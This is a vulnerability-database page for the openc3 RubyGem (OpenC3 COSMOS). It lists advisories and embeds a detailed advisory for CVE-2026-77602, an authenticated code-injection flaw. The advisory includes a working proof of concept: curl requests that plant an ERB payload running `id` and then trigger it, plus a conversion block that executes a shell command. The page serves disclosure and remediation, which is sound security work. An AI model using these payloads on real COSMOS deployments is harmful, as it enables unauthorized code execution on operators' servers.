Vulnerabilities in pkg:gem/openc3
PACKAGECVE-2026-77602 is a CRITICAL (CVSS 9.9) remote code execution vulnerability (CWE-94: Improper Control of Generation of Code ('Code Injection')) affecting OpenC3 COSMOS libraries in the RubyGems ecosystem. The issue involves authenticated remote code execution via the user-writable config overlay (table definitions, cmd/tlm definitions, and script suites). Remediation is available by upgrading affected packages to version 7.3.0.
pkg:gem/openc3
Vulnerability advisories affecting package pkg:gem/openc3. Select an advisory below to view technical details or fixes.
| Advisory ID | CVE / NVD | Severity | Summary |
|---|---|---|---|
| GHSA-jjq7-m736-w977 | CVE-2026-77602 | CRITICAL | OpenC3 COSMOS: Authenticated remote code execution via the user-writable config overlay (table definitions, cmd/tlm definitions, and script suites) |
| GHSA-vp3w-52v9-q57f | CVE-2026-77601 | HIGH | OpenC3 COSMOS: Authenticated OS command injection via the `pypi_url` setting |
| GHSA-v529-vhwc-wfc5 | CVE-2026-42087 | CRITICAL | OpenC3 COSMOS has SQL Injection in QuestDB Time-Series Database |
| GHSA-ffq5-qpvf-xq7x | CVE-2026-42086 | MODERATE | OpenC3 COSMOS is Vulnerable to Self-XSS Through the Command Sender |
| GHSA-4jvx-93h3-f45h | CVE-2026-42085 | MODERATE | OpenC3 COSMOS allows arbitrary writes to plugins directory via path-traversed config filenames |
| GHSA-wgx6-g857-jjf7 | CVE-2026-42084 | HIGH | OpenC3 COSMOS: Hijacked session token can be used to reset password for persistence |
| GHSA-2wvh-87g2-89hr | - | CRITICAL | OpenC3 COSMOS: Permissions Bypass Provides User Access to Unassigned Administrative Actions via Script Runner Tool |
| GHSA-w757-4qv9-mghp | CVE-2025-68271 | CRITICAL | openc3-api Vulnerable to Unauthenticated Remote Code Execution |
| GHSA-4xqv-47rm-37mm | CVE-2024-47529 | MODERATE | OpenC3 stores passwords in clear text (`GHSL-2024-129`) |
| GHSA-8jxr-mccc-mwg8 | CVE-2024-46977 | HIGH | OpenC3 Path Traversal via screen controller (`GHSL-2024-127`) |
| GHSA-vfj8-5pj7-2f9g | CVE-2024-43795 | MODERATE | OpenC3 Cross-site Scripting in Login functionality (`GHSL-2024-128`) |
CVE-2026-77602 at a Glance
Security Impact
CVSS: 9.9
The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H).
How to Fix CVE-2026-77602
To remediate this vulnerability, upgrade all affected OpenC3 COSMOS dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.
Upgrade openc3 to 7.3.0
Run the following command in your project directory to verify that all resolved dependencies use the patched release:
inspect dependencies for openc3
How to Check if You Are Affected
To determine whether your application is affected by CVE-2026-77602, inspect your project dependencies for OpenC3 COSMOS:
inspect dependencies for openc3
Analyze the terminal output to locate any version of OpenC3 COSMOS in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 7.3.0), your application is affected.
Note: Verify declared build manifests and deployed runtime container environments.
Technical Details
Vulnerability Mechanism & Technical Analysis
This vulnerability is classified under CWE-94: Improper Control of Generation of Code ('Code Injection'), where the product constructs all or part of a code segment using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the syntax or behavior of the intended code segment. In OpenC3 COSMOS, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.
Source Advisory Statement
CVE-2026-77602 Affected OpenC3 COSMOS Versions
1 component(s)| Product / Package | Ecosystem | Affected Versions | Fixed Version |
|---|---|---|---|
|
openc3
|
RubyGems |
≥ 5.1.0
< 7.3.0
|
7.3.0
|
References
Frequently Asked Questions
What is CVE-2026-77602?
Which OpenC3 COSMOS versions are affected?
What version fixes CVE-2026-77602?
Is openc3 affected?
What is the CVSS score of CVE-2026-77602?
What CWE is associated with CVE-2026-77602?
How can I check RubyGems dependencies for CVE-2026-77602?
Machine-readable OSV JSON
OSV v1.5 Schema
{
"schema_version" : "1.4.0",
"id" : "GHSA-jjq7-m736-w977",
"modified" : "2026-09-23T18:57:24Z",
"published" : "2026-09-23T18:57:24Z",
"aliases" : [ "CVE-2026-77602" ],
"summary" : "OpenC3 COSMOS: Authenticated remote code execution via the user-writable config overlay (table definitions, cmd/tlm definitions, and script suites)",
"details" : "### Summary\n\nCOSMOS reads configuration from a user-writable overlay (`targets_modified/`) before the read-only plugin-installed `targets/` tree, and the config subsystem executes code on those files: `ConfigParser` renders every file as ERB by default, a `GENERIC_READ_CONVERSION` / `GENERIC_WRITE_CONVERSION` block is evaluated as code by `GenericConversion` (Ruby and Python), and the Script Runner suite analysis `require`s a procedure file. An authenticated user can write into `targets_modified/` below the admin tier (the storage-upload endpoint exempts that area from the admin gate, and the screen-save endpoint stores its body verbatim there), so the same root cause is reachable through several features, each giving arbitrary code execution on a COSMOS server.\n\nThree vulnerable routes were identified, all reachable by an authenticated non-admin user (in the open-source edition `authorize` ignores the permission string, so any authenticated user qualifies):\n\n1. **Table definitions** (immediate). `tables#generate|report|load` reads a definition from `targets_modified/` and ERB-renders it and evaluates its `GENERIC_*_CONVERSION` block in the `cmd-tlm-api` container.\n2. **Command/telemetry definitions** (persistent). A file written to `targets_modified/<TARGET>/cmd_tlm/` is overlaid by `System.setup_targets` and processed by `PacketConfig` in the decom/multi microservices: ERB-rendered in the Ruby implementation, and GENERIC-evaluated in both the Ruby and Python implementations (the Python `ConfigParser` does not run ERB). It executes on the next microservice (re)start.\n3. **Script Runner suites** (immediate). A procedure written to `targets_modified/<TARGET>/procedures/` is `require`d by the suite analysis, reachable at the read-only `script_view` tier through `scripts#body` and `running_script#show` (the analysis subprocess is spawned when `OPENC3_SERVICE_PASSWORD` is configured, which it is in the shipped `.env`).\n\n### Details\n\nRoot cause. `TargetFile.body` (Ruby `openc3/lib/openc3/utilities/target_file.rb`, Python `openc3/python/openc3/utilities/target_file.py`) reads `{scope}/targets_modified/{name}` before `{scope}/targets/{name}`. The storage-upload endpoint `storage_controller.rb get_upload_presigned_request` is gated at `system_set` and exempts `targets_modified/` and `tmp/` from its `admin` check (so a write there is not admin-gated); for a target path it additionally calls `authorize_bucket_path`, which in the permission-enforcing edition requires `tlm` on the target, while in the open-source edition `authorize` ignores the permission string entirely. `screens_controller.rb create` (`system_set`) stores its request body verbatim under `targets_modified/<target>/screens/`. So a non-admin can place files in the overlay. The config subsystem then executes them.\n\nSink 1, ERB. `ConfigParser#parse_file` renders the file as ERB before parsing (`run_erb` defaults to true):\n```ruby\n# openc3/lib/openc3/config/config_parser.rb:402\noutput = ERB.new(File.read(filename)...comment_erb(), trim_mode: \"-\").result(...)\n```\nReached for table definitions via `tables_controller.rb` -> `Table.get_definitions` -> `TableConfig.process_file` -> `parse_file`, and for cmd/tlm definitions via `System.setup_targets` (`system.rb`, whose overlay loop copies `targets_modified/<T>/cmd_tlm/*` over the read-only files) -> `PacketConfig#process_file` -> `parse_file`.\n\nSink 2, GENERIC conversion. `PacketConfig`/`TableConfig` build a `GenericConversion` from a `GENERIC_READ_CONVERSION_START .. END` / `GENERIC_WRITE_CONVERSION_START .. END` block, and `GenericConversion#call` evaluates it (independent of ERB):\n```ruby\n# openc3/lib/openc3/conversions/generic_conversion.rb (call)\neval(@code_to_eval)\n# Python openc3/python/openc3/conversions/generic_conversion.py (call): compile()/exec()/eval()\n```\nThe read conversion fires on `tables#report`/`load` and during telemetry decom; the write conversion fires on `tables#generate` and on `restore_defaults`.\n\nSink 3, suite require. The Script Runner suite analysis executes the file:\n```ruby\n# openc3-cosmos-script-runner-api/scripts/run_suite_analysis.rb:24\nrequire ARGV[1] # runs all top-level code of the supplied file\n```\nreached from `Script.process_suite`, invoked by `scripts#body` and `running_script#show` (both `script_view`) and `scripts#create` (`script_edit`) when the file matches the suite pattern.\n\nPermission tiers. Writing the payload needs `system_set` (screen save, storage upload) or `script_edit` (script create); triggering needs `system` (tables) or `script_view` (suite). These are below the tiers where COSMOS gates code execution elsewhere (plugin install requires `admin`, running a script requires `script_run`).\n\n### PoC\n\nTable definition path, against a standard stack. Benign payload writes `id` to a marker file. This PoC uses the open-source password login; in the permission-enforcing edition substitute a bearer token for a user holding the permissions noted above.\n```bash\nBASE=http://localhost:2900/openc3-api # adjust to your deployment\nTOKEN=$(curl -s -X POST \"$BASE/auth/verify\" -H 'Content-Type: application/json' -d '{\"password\":\"<your password>\"}')\n\n# 1) Write the payload into targets_modified/ via the screen save endpoint.\ncurl -s -X POST \"$BASE/screen\" -H \"Authorization: $TOKEN\" \\\n --data-urlencode 'scope=DEFAULT' --data-urlencode 'target=INST' --data-urlencode 'screen=poc' \\\n --data-urlencode $'text=SCREEN AUTO AUTO 1.0\\n<%= File.write(\"/tmp/erb_rce_poc\", `id`) %>\\nLABEL poc'\n\n# 2) Trigger by pointing a table action at that file.\ncurl -s -X POST \"$BASE/tables/generate\" -H \"Authorization: $TOKEN\" \\\n --data-urlencode 'scope=DEFAULT' --data-urlencode 'definition=INST/screens/poc.txt'\n```\nThen in the cmd-tlm-api container: `cat /tmp/erb_rce_poc` shows `uid=1001(openc3) ...`. The `tables/generate` request returns HTTP 500 (the screen lines are not valid table keywords); the marker shows the code already ran.\n\nThe same outcome without ERB, using the GENERIC sink, on the same `tables/generate` trigger:\n```\nTABLE \"data\" BIG_ENDIAN KEY_VALUE \"poc\"\n APPEND_PARAMETER \"item1\" 8 UINT 0 255 0 \"Item\"\n GENERIC_WRITE_CONVERSION_START\n `id > /tmp/erb_rce_poc`\n 0\n GENERIC_WRITE_CONVERSION_END\n```\n\ncmd/tlm path: upload a telemetry definition containing the same ERB or GENERIC block to `targets_modified/<TARGET>/cmd_tlm/<file>.txt` via the storage-upload presigned request (`system_set`), then the code runs in that target's decom microservice on its next restart. Suite path: write a suite-shaped procedure to `targets_modified/<TARGET>/procedures/<x>.rb` and call `scripts#body` on it at `script_view`.\n\nThe ERB table chain was confirmed end to end over HTTP against a booted Rails and puma instance.\n\n### Impact\n\nArbitrary code execution as the `openc3` user in the `cmd-tlm-api` container and the per-target decom microservices and the script-runner. Those processes hold the Redis and bucket credentials and sit on the internal service network, so the executed code acts with that authority over configuration, telemetry, and command data across scopes. The API is served through Traefik, which the shipped compose binds to `127.0.0.1:2900`, so a default single-host install is reachable only from the host; a multi-user deployment exposes the web port, and the `AV:N` rating reflects that standard remote-operator exposure.\n\nAll paths require valid authentication, and the triggering permissions (`system`/`system_set`/`script_view`) are below the `admin`/`script_run`/plugin-install tiers where COSMOS gates code execution. In the open-source edition `authorize` checks only token validity and does not enforce the permission string, so any authenticated user can perform these requests.\n\n### Suggested fix\n\nThe fix is to treat the user-writable overlay as data, never code, and to gate the writers, applied uniformly:\n- Load table and cmd/tlm definitions for code-execution paths from the read-only `targets/` tree only, or parse the `targets_modified` overlay with ERB disabled (`run_erb=false`); dynamically-created packet definitions are structural and never need ERB, so this does not regress that feature.\n- Allow only admin and the server-side dynamic-packet mechanism to write a `cmd_tlm` overlay; reject non-canonical object keys so a positional path check cannot be bypassed by a key the object store normalizes differently.\n- Run the Script Runner suite analysis (which executes the file) only at the `script_run` tier, at every entry point.\n- Mirror the definition-read change in the Python implementation.",
"severity" : [ {
"type" : "CVSS_V3",
"score" : "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H"
} ],
"affected" : [ {
"package" : {
"ecosystem" : "RubyGems",
"name" : "openc3"
},
"ranges" : [ {
"type" : "ECOSYSTEM",
"events" : [ {
"introduced" : "5.1.0"
}, {
"fixed" : "7.3.0"
} ]
} ],
"database_specific" : {
"last_known_affected_version_range" : "<= 7.2.1"
}
} ],
"references" : [ {
"type" : "WEB",
"url" : "https://github.com/OpenC3/cosmos/security/advisories/GHSA-jjq7-m736-w977"
}, {
"type" : "WEB",
"url" : "https://github.com/OpenC3/cosmos/pull/3488"
}, {
"type" : "WEB",
"url" : "https://github.com/OpenC3/cosmos/commit/71943352a28128ef3e7e894319d97a656b5cd4f2"
}, {
"type" : "WEB",
"url" : "https://github.com/OpenC3/cosmos/commit/7a1538a4626f82c0d1540fcaa27ffdcbbd71ff81"
}, {
"type" : "PACKAGE",
"url" : "https://github.com/OpenC3/cosmos"
} ],
"database_specific" : {
"cwe_ids" : [ "CWE-94" ],
"severity" : "CRITICAL",
"github_reviewed" : true,
"github_reviewed_at" : "2026-09-23T18:57:24Z",
"nvd_published_at" : null
}
}